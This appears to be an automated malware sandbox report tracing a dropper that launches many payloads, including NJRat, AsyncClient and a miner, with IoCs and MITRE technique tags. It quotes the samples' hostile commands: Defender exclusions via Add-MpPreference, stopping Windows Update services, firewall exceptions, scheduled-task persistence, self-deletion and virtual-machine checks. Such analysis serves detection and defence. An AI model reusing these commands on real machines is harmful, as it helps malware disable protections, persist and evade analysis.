1292	KuwaitSetupHockey.exe
4672	KuwaitSetupHockey.tmp
2816	major.exe
7588	Unit.exe
6420	WinRarInstall.exe
6268	winrar-x64-701ru.exe
6268	winrar-x64-701ru.exe
6268	winrar-x64-701ru.exe
6136	GLP_installer_900223086_market.exe
7936	RegAsm.exe
7936	RegAsm.exe
5256	aspnet_compiler.exe
7864	resex.exe
7016	Reproduction.pif
7136	loader.exe
2088	rhsgn_protected.exe
2088	rhsgn_protected.exe
6820	ARA.exe
8188	XClient.exe
6744	RegAsm.exe
3724	chrome.exe
3724	chrome.exe
6376	whats-new.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 3576	220	chrome.exe	84
PID 220 wrote to memory of 3576	220	chrome.exe	84
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 3896	220	chrome.exe	85
PID 220 wrote to memory of 1480	220	chrome.exe	86
PID 220 wrote to memory of 1480	220	chrome.exe	86
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87
PID 220 wrote to memory of 3368	220	chrome.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6792	attrib.exe
6716	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3260
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"
  2⤵
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8f9bbcc40,0x7ff8f9bbcc4c,0x7ff8f9bbcc58
    3⤵
    PID:3576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1840,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1844 /prefetch:2
    3⤵
    PID:3896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2068,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2128 /prefetch:3
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2204,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2380 /prefetch:8
    3⤵
    PID:3368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3228,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3312 /prefetch:1
    3⤵
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3556,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4432 /prefetch:1
    3⤵
    PID:1048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4748,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:4440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4896,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:4072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5060,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5056 /prefetch:8
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5072,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:2340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5076,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5036 /prefetch:8
    3⤵
    PID:3492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4652,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4784 /prefetch:8
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5144,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5344 /prefetch:2
    3⤵
    PID:3248
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
    3⤵
    - Drops file in Windows directory
    PID:1184
  - - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff7f3004698,0x7ff7f30046a4,0x7ff7f30046b0
      4⤵
      Drops file in Windows directory
      PID:3704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5428,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5452 /prefetch:1
    3⤵
    PID:2952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5520,i,4251353079332010013,10673986280179381455,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3516 /prefetch:8
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:3724
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4936
    - - C:\Users\Admin\Desktop\Files\crypteda.exe
        
        "C:\Users\Admin\Desktop\Files\crypteda.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1208
      - C:\Users\Admin\AppData\Roaming\OHDhueyr0e.exe
        
        "C:\Users\Admin\AppData\Roaming\OHDhueyr0e.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
      - C:\Users\Admin\AppData\Roaming\Dn8g5KQZ4r.exe
        
        "C:\Users\Admin\AppData\Roaming\Dn8g5KQZ4r.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        
        PID:5016
    - - C:\Users\Admin\Desktop\Files\nxmr.exe
        
        "C:\Users\Admin\Desktop\Files\nxmr.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:6056
    - - C:\Users\Admin\Desktop\Files\AA_v3.5.exe
        
        "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
        5⤵
        
        PID:6400
    - - C:\Users\Admin\Desktop\Files\fusca%20game.exe
        
        "C:\Users\Admin\Desktop\Files\fusca%20game.exe"
        5⤵
        
        PID:11080
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\fusca%20game.exe" "fusca%20game.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:3584
    - - C:\Users\Admin\Desktop\Files\stub.exe
        
        "C:\Users\Admin\Desktop\Files\stub.exe"
        5⤵
        
        PID:9860
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9860 -s 456
        6⤵
        Program crash
        
        PID:11008
    - - C:\Users\Admin\Desktop\Files\VidsUsername.exe
        
        "C:\Users\Admin\Desktop\Files\VidsUsername.exe"
        5⤵
        
        PID:7636
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Recreation Recreation.bat & Recreation.bat
        6⤵
        
        PID:9124
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:12136
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:3796
    - - C:\Users\Admin\Desktop\Files\AsyncClient.exe
        
        "C:\Users\Admin\Desktop\Files\AsyncClient.exe"
        5⤵
        
        PID:8156
    - - C:\Users\Admin\Desktop\Files\Security.exe
        
        "C:\Users\Admin\Desktop\Files\Security.exe"
        5⤵
        
        PID:7092
      - C:\Users\Admin\AppData\Local\Temp\$77Security.exe
        
        "C:\Users\Admin\AppData\Local\Temp\$77Security.exe"
        6⤵
        
        PID:12032
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77Security" /tr "C:\Users\Admin\AppData\Roaming\$77Security.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11436
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        
        PID:6636
    - - C:\Users\Admin\Desktop\Files\num.exe
        
        "C:\Users\Admin\Desktop\Files\num.exe"
        5⤵
        
        PID:8528
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Desktop\Files\num.exe" & del "C:\ProgramData\*.dll"" & exit
        6⤵
        
        PID:12240
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        7⤵
        Delays execution with timeout.exe
        
        PID:6788
    - - C:\Users\Admin\Desktop\Files\njrtdhadawt.exe
        
        "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe"
        5⤵
        
        PID:7620
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\CFHCGHJDBFII" & exit
        6⤵
        
        PID:10080
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:8212
    - - C:\Users\Admin\Desktop\Files\Pichon.exe
        
        "C:\Users\Admin\Desktop\Files\Pichon.exe"
        5⤵
        
        PID:6428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
        6⤵
        
        PID:12452
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get Model
        7⤵
        
        PID:9220
        
        C:\Windows\system32\findstr.exe
        
        findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
        7⤵
        
        PID:8452
    - - C:\Users\Admin\Desktop\Files\backdoor.exe
        
        "C:\Users\Admin\Desktop\Files\backdoor.exe"
        5⤵
        
        PID:9812
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3312
    - - C:\Users\Admin\Desktop\Files\jerniuiopu.exe
        
        "C:\Users\Admin\Desktop\Files\jerniuiopu.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:496
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "NET framework" /sc ONLOGON /tr "C:\Users\Admin\Desktop\Files\jerniuiopu.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5056
    - - C:\Users\Admin\Desktop\Files\test.exe
        
        "C:\Users\Admin\Desktop\Files\test.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2748
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:5876
    - - C:\Users\Admin\Desktop\Files\t2.exe
        
        "C:\Users\Admin\Desktop\Files\t2.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3540
      - C:\Windows\sysklnorbcv.exe
        
        C:\Windows\sysklnorbcv.exe
        6⤵
        Modifies security service
        Windows security bypass
        Blocklisted process makes network request
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        
        PID:4840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:2984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3644
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2060
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4896
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3944
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4976
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\3368221667.exe
        
        C:\Users\Admin\AppData\Local\Temp\3368221667.exe
        7⤵
        
        PID:6228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:7500
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:5660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:5820
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\729613342.exe
        
        C:\Users\Admin\AppData\Local\Temp\729613342.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7984
        
        C:\Users\Admin\AppData\Local\Temp\303035728.exe
        
        C:\Users\Admin\AppData\Local\Temp\303035728.exe
        7⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\2033932892.exe
        
        C:\Users\Admin\AppData\Local\Temp\2033932892.exe
        8⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\707431954.exe
        
        C:\Users\Admin\AppData\Local\Temp\707431954.exe
        7⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\217182096.exe
        
        C:\Users\Admin\AppData\Local\Temp\217182096.exe
        7⤵
        
        PID:8620
    - - C:\Users\Admin\Desktop\Files\Indentif.exe
        
        "C:\Users\Admin\Desktop\Files\Indentif.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1884
    - - C:\Users\Admin\Desktop\Files\tdrpload.exe
        
        "C:\Users\Admin\Desktop\Files\tdrpload.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4668
    - - C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe
        
        "C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:1292
      - C:\Users\Admin\AppData\Local\Temp\is-3SLQQ.tmp\KuwaitSetupHockey.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3SLQQ.tmp\KuwaitSetupHockey.tmp" /SL5="$602C0,3849412,851968,C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:4672
    - - C:\Users\Admin\Desktop\Files\major.exe
        
        "C:\Users\Admin\Desktop\Files\major.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2816
    - - C:\Users\Admin\Desktop\Files\T3.exe
        
        "C:\Users\Admin\Desktop\Files\T3.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\Desktop\Files\T3.exe' -Force
        6⤵
        
        PID:7324
    - - C:\Users\Admin\Desktop\Files\Unit.exe
        
        "C:\Users\Admin\Desktop\Files\Unit.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:7588
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7588 -s 448
        6⤵
        Program crash
        
        PID:5412
    - - C:\Users\Admin\Desktop\Files\GREENpackage.exe
        
        "C:\Users\Admin\Desktop\Files\GREENpackage.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8144
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        6⤵
        
        PID:6588
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        6⤵
        
        PID:6664
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1044
        6⤵
        Program crash
        
        PID:7364
    - - C:\Users\Admin\Desktop\Files\NJRat.exe
        
        "C:\Users\Admin\Desktop\Files\NJRat.exe"
        5⤵
        Drops startup file
        Adds Run key to start application
        
        PID:1596
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\Desktop\Files\NJRat.exe" "NJRat.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:3968
    - - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        5⤵
        
        PID:1616
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:2032
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:5760
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:3644
      - C:\Users\Admin\Desktop\Files\armadegon.exe
        
        "C:\Users\Admin\Desktop\Files\armadegon.exe"
        6⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
        7⤵
        
        PID:2032
        
        C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
        8⤵
        
        PID:6268
    - - C:\Users\Admin\Desktop\Files\whats-new.exe
        
        "C:\Users\Admin\Desktop\Files\whats-new.exe"
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6376
    - - C:\Users\Admin\Desktop\Files\kmvcsaed.exe
        
        "C:\Users\Admin\Desktop\Files\kmvcsaed.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7828
    - - C:\Users\Admin\Desktop\Files\Identifications.exe
        
        "C:\Users\Admin\Desktop\Files\Identifications.exe"
        5⤵
        
        PID:7184
    - - C:\Users\Admin\Desktop\Files\s.exe
        
        "C:\Users\Admin\Desktop\Files\s.exe"
        5⤵
        
        PID:7340
      - C:\Windows\sysvplervcs.exe
        
        C:\Windows\sysvplervcs.exe
        6⤵
        
        PID:5308
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6952
        
        C:\Windows\SysWOW64\cmd.exe
        
